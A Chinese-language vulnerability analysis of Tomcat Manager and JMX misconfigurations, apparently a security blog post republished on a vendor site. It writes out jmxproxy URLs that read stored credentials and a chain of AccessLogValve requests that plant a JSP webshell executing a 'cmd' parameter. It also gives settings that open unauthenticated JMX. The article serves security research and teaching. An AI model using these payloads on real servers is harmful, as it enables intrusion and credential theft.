长亭百川云 - 文章详情

漏洞分析 | Tomcat配置造成的漏洞

杂七

51

2024-06-13

0x01 Manager管理页面

0x01.1 配置文件解读

Manager对应的配置文件在./webapps/manager/WEB-INF目录下的web.xml中,其中包含4个servlet类,分别是Manager、HTMLManager、Status和JMXProxy四个servlet,对应的servlet如下:

org.apache.catalina.manager.ManagerServlet
org.apache.catalina.manager.HTMLManagerServlet
org.apache.catalina.manager.StatusManagerServlet
org.apache.catalina.manager.JMXProxyServlet

对应的uri路径如下:

Manager的鉴权,四个接口都使用了Basic的鉴权方法,也就是base64对用户名:密码进行编码鉴权:

Manager的用户名密码是通过./conf/tomcat-users.xml来配置,这里面需要提前根据webapp下面的web.xml中的role-name来设置role和user,配置如下:

但是后期的版本想要访问到Manager页面还得将./webapps/manager/META-INF/context.xml里面只允许本地IP登录注释或者删除:

0x01.2 接口作用

Manager-gui

主要负责web页面的应用部署、卸载和管理,可以通过部署恶意应用getshell;对应的路径为:http://10.10.84.207:8081/manager/html/\*

对应的servlet类为

org.apache.catalina.manager.HTMLManagerServlet

这里面的doPost方法获取请求的路径,然后根据路径处理不同的业务:

Manager-script

主要负责管理tomcat,可以部署应用,查看部署的应用,还能查看服务器信息,查看部署的应用:

查看服务器信息:

使用PUT方法进行项目部署:

使用PUT方法进行部署时会进入

org.apache.catalina.manager.ManagerServlet的doPut方法

会查看请求的uri是否是/deploy,是则进入项目部署:

Manager-status

该模块能够获取当前tomcat的服务信息:http://10.10.84.207:8081/manager/status//all

对应的servlet是

org.apache.catalina.manager.StatusManagerServlet

这里面只能处理get请求:

http://10.10.84.207:8081/manager/status/all?XML=true

Manager-jmx

这是通过web来管理MBeans,能够管理web应用部署、启动、停止。Tomcat提供了4中方法

query命令:http://10.10.84.207:8081/manager/jmxproxy/?qry=
get命令:http://10.10.84.207:8081/manager/jmxproxy/?get=
set命令:http://10.10.84.207:8081/manager/jmxproxy/?set=
invoke命令:http://10.10.84.207:8081/manager/jmxproxy/?invoke=

获取内存监控情况:

http://10.10.84.207:8081/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage

获取用户名密码:
http://10.10.84.207:8081/manager/jmxproxy/?qry=*%3atype=User%2c*

Jmxproxy造成RCE:

因为jmxproxy能够操作MBean,在tomcat里面存在一个AccessLogValve的MBean,这能够修改tomcat的日志配置,修改后缀名为.jsp,修改内容等。主要的方法是doGet:

修改内容:

http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69

URL编码内容为:

%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i

开头和结尾的特殊符号从请求头的p和s中获取

修改后缀:

http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp

修改前缀:

http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=test

修改日志存储目录:

http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT

修改文件名:

http://10.10.84.207:8081/manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val=

从请求头中获取<% 和 %>

查看写入的内容:

执行命令:

0x02 JMX服务

0x02.1 启动JMX服务

在catalina.sh开头添加以下内容:

CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote -DJava.rmi.server.hostname=0.0.0.0 -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"

然后使用bash bin/catalina.sh jpda run开启远程调试:

可以看到jmx服务监听到9999端口:

0x02.2 利用

使用nmap进行扫描可以扫描出这是java的rmi服务:

使用beanshooter查看存在的MBean:

获取某个MBean的属性:

读取用户名密码:

写入文件:

END

往期经典回顾

JS断点调试教学

搜索框之%的妙用

子域接管漏洞讲解

HTTP头部注入漏洞

Tomcat路径解析特性

xxl-job的命令执行详解

对某授权学校的常规渗透

契约锁命令执行漏洞分析

FindAll最强应急响应工具

Tomcat Put文件上传漏洞

一次另类的mssql渗透之路

DirtyPipe-脏管道内核提权

web站点登录框的常规突破

openfire权限绕过漏洞分析

若依4.7.6任意文件下载分析

 一次没有逗号的MSSQL注入

host碰撞之边界突破getshell

另类的SSRF漏洞的挖掘与利用

另类的XSS攻击之新型XSS载体

Nacos历史+最新漏洞详细分析

新型目录碰撞工具DirCollision

Windows文件/文件夹隐藏技巧

xray windows 1.9x版通杀补丁

FindAll史诗级最强应急响应工具

初学者的mimikatz免杀制作教程

低版本Tomcat如何另类getshell

Nginx配置不当导致内网资产暴漏

web登录框密码加密的突破小秘密

Windows快捷方式权限维持与后门

金蝶Apusic未授权目录遍历漏洞分析

Apache ActiveMQ RCE漏洞利用工具

ServerStatusDiffInterceptor反序列化

Linux本地sudo(CVE-2021-3156)提权

spring-security 三种情况下的认证绕过

密码测评相关概念及国标和行标文档分享

中华人民共和国金融行标文档分享及介绍

中华人民共和国工控国标文档分享及介绍

xxl-job前台api未授权Hessian2反序列化

fastjson反序列化漏洞初探之parseObject

**免责声明:**文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

点赞是鼓励 在看是认同 分享是传递知识

看完点个**“在看”****

分享给更多人

**

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2